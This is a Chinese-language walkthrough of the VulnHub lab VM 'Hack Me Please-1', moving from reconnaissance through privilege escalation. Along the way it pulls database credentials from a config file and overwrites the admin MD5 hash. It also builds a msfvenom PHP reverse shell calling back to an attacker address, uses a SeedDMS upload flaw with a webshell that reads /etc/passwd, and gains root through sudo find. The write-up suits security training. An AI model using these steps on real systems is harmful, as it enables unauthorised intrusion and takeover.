『vulnhub系列』Hack Me Please-1

Oboto發表於2024-05-31

『vulnhub系列』Hack Me Please-1

下載地址:

https://www.vulnhub.com/entry/hack-me-please-1,731/

資訊蒐集:

使用nmap進行探測存活主機,發現主機開啟了80埠和3306埠

nmap 192.168.0.*

訪問80埠的web服務

使用dirsearch掃描目錄,但是並沒有可以訪問的頁面

dirsearch -u "http://192.168.0.132/"

在main.js發現提示,有一個目錄/seeddms51x/seeddms-5.1.22/

訪問一下是一個登入頁面

現在我們掃描這個目錄

dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/"

訪問/install頁面

發現install不了

http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php

說是要在conf目錄下建立ENABLE_INSTALL_TOOL ,但是我們好像並不知道這個conf目錄在哪裡

可以確定當前seeddms51x/seeddms-5.1.22/ 目錄下沒有。現在我們向前每一級檔案都爆破一下。

dirsearch -u "http://192.168.0.132/seeddms51x/"

我們現在幾乎可以確定conf就在/seeddms51x/這個目錄檔案下了

然後我們繼續訪問conf/ENABLE_INSTALL_TOOLconf,發現都無法訪問

繼續爆破一下吧,終於發現了settings.xml

dirsearch -u "http://192.168.0.132/seeddms51x/conf"

訪問一下,我們找到了資料庫的使用者名稱和密碼都為:seeddms

我們登入mysql

mysql -h 192.168.0.132 -u seeddms -p

show database; #檢視資料庫

發現users表

use seeddms; #使用seeddms資料庫
show tables; #檢視錶

檢視users表的內容發現使用者名稱和密碼

+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+

select * from users; #檢視users所有內容

使用ID和密碼登入

登入失敗,還有個表是tblUsers,我們檢視一下,裡面有一個admin和一個md5加密的密碼

select * from tblUsers;

我們可以覆蓋一下,首先使用python生成一個md5值21232f297a57a5a743894a0e4a801fc3

python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())'

修改資料庫條目,修改成功

update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin';

使用我們修改後的密碼admin和使用者名稱admin登入,登陸成功

漏洞利用:

我們發現新增檔案選項是可以上傳檔案的,我們上傳一個msfvenom生成的反彈shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php

我們此時搜一下seeddms的漏洞

看到一個遠端命令執行,看一下如何實現

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

......

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

步驟1,2:就是登入,然後上傳一個文件,我們已經上傳完成了例子用的是一個webshell,我們上傳的是反彈shell,我們需要找到上傳檔案的位置

步驟3:檢視文件的id,我們透過剛剛上傳的反彈php序號為12

步驟4:訪問/data/1048576/"document_id"/1.php 頁面,在那之前先開啟msf的監聽,然後訪問1.php

反彈成功

提升許可權:

我們檢視/home頁面發現存在使用者saket

我們之前有在資料庫中發現過saket,他的密碼是Saket@#$1337 我們登陸試試,登入成功

su saket

使用sudo -l 檢視此使用者可以以root許可權執行的命令,發現是(ALL : ALL) ALL

那就自由發揮吧,這裡使用find提權,成功

sudo find /home -exec /bin/bash \;